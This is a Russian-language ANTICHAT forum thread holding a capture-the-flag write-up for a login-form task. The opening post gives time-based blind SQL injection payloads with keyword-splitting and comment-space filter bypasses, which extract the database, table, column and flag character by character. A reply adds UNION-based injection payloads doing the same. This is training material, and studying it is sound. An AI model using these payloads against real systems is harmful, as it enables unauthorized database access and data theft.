HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 05.12.2023, 19:37
vov4ick
Познающий
Регистрация: 23.12.2023
Сообщений: 60
С нами: 1260136

Репутация: 0
По умолчанию

Приветствую всех кто обратил внимание на эту статью. В предыдущей статье я разбирал таск Базовая авторизация 2, сегодня разберем Базовая авторизация 3 Antichat.games.



Этот таск идентичный предыдущему таску в каком то смысле, та же форма входа, те же уязвимые параметры (здесь я не буду распыляться про это), только тип уязвимости совсем другой. Приступим сразу к делу:

Понимаем что таск будет забористый , так как уровень сложности "Сложно" в голове только одно это слепая инъекция или еще хуже слепая основанная на времени.
Подставляем нагрузку в Burp и смотрим :

Код:
test'and/**/sleep(5)--%09-
Эта нагрузка базовая для проверки :



Вот здесь не видно, но мы обращаем внимание на время ответа. Запомните примерно это число, это будет ваш ключ в дальнейшем. Мы понимаем что здесь Time Blind Based. Так же здесь идет фильтрация /**/ пробелов и + %09

Пытаемся вывести хоть какую то инфу , я покажу как это делать с помощью Burp :
Что мы видим в этом запросе? много чего интересного. Что у нас фильтруется и select и from и where , по этому запрос будет выглядеть таким образом.
Я указал на запрос, а справа можно сравнить его и что там? отсутствуют операторы запроса. Это значит что нам нужно сделать так чтобы они присутствовали)
На этом фото я пытаюсь вытащить название первой буквы таблицы



Делаем самый банальный обход такой фильтрации:
Так же мы будем пользоваться таблицей ascii



Буква соответствует цифре и в запросе она 100 это d , так же я указал стрелочкой что у нас время ответа слишком больше, значит иньекция работает правильно и буква верная в данном случае первая буква названия базы данных.
И так со всеми запросами, перебирая цифры отправляем запросы, если ответ короткий значит цифра не наша, если происходит "задержка" цифра правильная и мы сверяем ее с таблицей. Записываем это все.

Код:
test'and/**/IF(ascii(substring((SEselectLECT/**/database()),1,1))=100,sleep(5),false)--%09-
Запрос на получения первого символа названия базы данных , для получения второго символа просто добавляйте в конец запроса не 1,1 а 2,1. И так работает во всех запросах.

Код:
test' AND/**/IF(ascii(substr((SEselectLECT/**/TABLE_NAME/**/FRfromOM/**/
information_schema.TABLES/**/WHwhereERE/**/table_schema=database()/**/LIMIT/**/
0,1),1,1))=108,sleep(5),NULL)--%09-
Запрос на получения первого символа таблицы, чтобы узнать следующий мы меняем значения limit

Код:
test' AND/**/IF(ascii(substr((SEselectLECT/**/concat(column_name)/**/FRfromOM/**/
information_schema.columns/**/WHwhereERE/**/table_name='flags'/**/limit/**/0,1),1,1))=108,
sleep(5),NULL)--%09-
Запрос на получения названия колонки первого символа.

Код:
test' AND/**/IF(ascii(substring((SEselectLECT/**/count(*)/**/FRfromOM/**/flags/**/limit/**/0,1),1,1))=49,
sleep(5),NULL)--%09-
Запрос на получения количества колонок в таблице.

Код:
' AND/**/IF(ascii(substring((SEselectLECT/**/flag/**/FRfromOM/**/flags/**/limit/**/0,1),1,1))=97,
sleep(5),NULL)--%09-
Запрос на получения флага.

Вот здесь мы можем извлекать разными способами данные и флаг, в свое время я раскручивал в burp intruder, есть статьи по WFUZZ.
Но хотим ли мы тратить свое драгоценное время на все это?

Понимая что мы достаем флаг по букве, зная что фильтруется идем и пишем свой тампер для SQLMAP .
Нам нужен такой скрипт который будет обходить не 1 фильтрацию в запросе , а как минимум 4.
Я не претендую на великого писаря таких скриптов, но то что у меня получилось работает:



Просто проверяем его в работе:







В начале я все таки вытянул флаг доставая его по символу через интрудер, порядка 30 минут я доставал 30 с лишним символов флага, и сравнил его с тем что выдал sqlmap после. Результат был 100%.
Сколько времени потребовалось Sqlmap для полного дампа = 5 минут. Делайте выводы. Всем кто осилил это спасибо за внимание. Создателям тасков отдельная благодарность.
 
Ответить с цитированием

  #2  
Старый 07.12.2023, 02:21
jet
Новичок
Регистрация: 22.11.2023
Сообщений: 0
С нами: 1304637

Репутация: 0
По умолчанию

Всё круто! Флаг на последнем скрине не везде скрыт.
 
Ответить с цитированием

  #3  
Старый 07.12.2023, 10:31
vov4ick
Познающий
Регистрация: 23.12.2023
Сообщений: 60
С нами: 1260136

Репутация: 0
По умолчанию

Цитата:

jet сказал(а):

Всё круто! Флаг на последнем скрине не везде скрыт.

Согласен, не заметил. Главное я думаю сама подача информации, а скопипастить флаг и сдать его, смысла будет в этом не много.
 
Ответить с цитированием

  #4  
Старый 11.12.2023, 19:40
Kevgen
Новичок
Регистрация: 11.05.2023
Сообщений: 0
С нами: 1585741

Репутация: 0
По умолчанию

Красавчик!
Как пожелание, можно
Код:
код в форматированный обернуть
, лучше читаться будет.
 
Ответить с цитированием

  #5  
Старый 14.12.2023, 16:08
Местный
Новичок
Регистрация: 07.07.2023
Сообщений: 0
С нами: 1504446

Репутация: 0
По умолчанию

а смысл писать тамперы если уже есть для таких задач?
 
Ответить с цитированием

  #6  
Старый 15.12.2023, 08:11
vov4ick
Познающий
Регистрация: 23.12.2023
Сообщений: 60
С нами: 1260136

Репутация: 0
По умолчанию

Цитата:

Logas сказал(а):

а смысл писать тамперы если уже есть для таких задач?

Я показал пример как можно это сделать самому, мозги тоже иногда включать нужно. А не брать готовое с полочки.
 
Ответить с цитированием

  #7  
Старый 15.12.2023, 15:03
Местный
Новичок
Регистрация: 07.07.2023
Сообщений: 0
С нами: 1504446

Репутация: 0
По умолчанию

Цитата:

vov4ick сказал(а):

Я показал пример как можно это сделать самому, мозги тоже иногда включать нужно. А не брать готовое с полочки.

Неа, это называется изобрел велосипед. Применять мозги нужно, когда сталкиваешься с ситуацией, когда ничего готового нет. Вот это было бы интересно почитать
Раз на то пошло, то зачем ты sqlmap использовал, напиши скрипт с 0 тогда.
 
Ответить с цитированием

  #8  
Старый 15.12.2023, 18:47
vov4ick
Познающий
Регистрация: 23.12.2023
Сообщений: 60
С нами: 1260136

Репутация: 0
По умолчанию

Цитата:

Logas сказал(а):

Неа, это называется изобрел велосипед. Применять мозги нужно, когда сталкиваешься с ситуацией, когда ничего готового нет. Вот это было бы интересно почитать
Раз на то пошло, то зачем ты sqlmap использовал, напиши скрипт с 0 тогда.

Не интересно не читай
 
Ответить с цитированием

  #9  
Старый 05.03.2024, 22:27
art_rnd82
Новичок
Регистрация: 04.03.2024
Сообщений: 0
С нами: 1156078

Репутация: 0
По умолчанию

Всем добрый день!
У меня получилось достать флаг простым union base sqli
сначала получаем имя БД

Код:


Код:
login=test'/**/uniunionon/**/(selselectect/**/database(),1,1)/**/limit/**/1,1--%09&password=test
Имена таблиц

Код:


Код:
login=test'/**/uniunionon/**/(selselectect/**/(selselectect/**/group_concat(table_name)/**/frfromom/**/information_schema.tables/**/whewherere/**/table_schema=database()),1,1)/**/limit/**/1,1--%09&password=test
Получаем имя столбцов

Код:


Код:
login=test'/**/uniunionon/**/(selselectect/**/(selselectect/**/group_concat(column_name)/**/frfromom/**/information_schema.columns/**/whewherere/**/table_name="flags"),1,1)/**/limit/**/1,1--%09&password=test
Достаем флаг

Код:


Код:
login=test'/**/uniunionon/**/(selselectect/**/(selselectect/**/group_concat(flag)/**/frfromom/**/flags),1,1)/**/limit/**/1,1--%09&password=test
 
Ответить с цитированием

  #10  
Старый 15.04.2024, 16:39
vov4ick
Познающий
Регистрация: 23.12.2023
Сообщений: 60
С нами: 1260136

Репутация: 0
По умолчанию

Цитата:

art_rnd82 сказал(а):

Всем добрый день!
У меня получилось достать флаг простым union base sqli
сначала получаем имя БД

Код:


Код:
login=test'/**/uniunionon/**/(selselectect/**/database(),1,1)/**/limit/**/1,1--%09&password=test
Имена таблиц

Код:


Код:
login=test'/**/uniunionon/**/(selselectect/**/(selselectect/**/group_concat(table_name)/**/frfromom/**/information_schema.tables/**/whewherere/**/table_schema=database()),1,1)/**/limit/**/1,1--%09&password=test
Получаем имя столбцов

Код:


Код:
login=test'/**/uniunionon/**/(selselectect/**/(selselectect/**/group_concat(column_name)/**/frfromom/**/information_schema.columns/**/whewherere/**/table_name="flags"),1,1)/**/limit/**/1,1--%09&password=test
Достаем флаг

Код:


Код:
login=test'/**/uniunionon/**/(selselectect/**/(selselectect/**/group_concat(flag)/**/frfromom/**/flags),1,1)/**/limit/**/1,1--%09&password=test
Да, вернулся к этому таску. видать я пошел через самый тернистый путь. Попробовал через union и все работает. Спасибо за решение этим методом.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.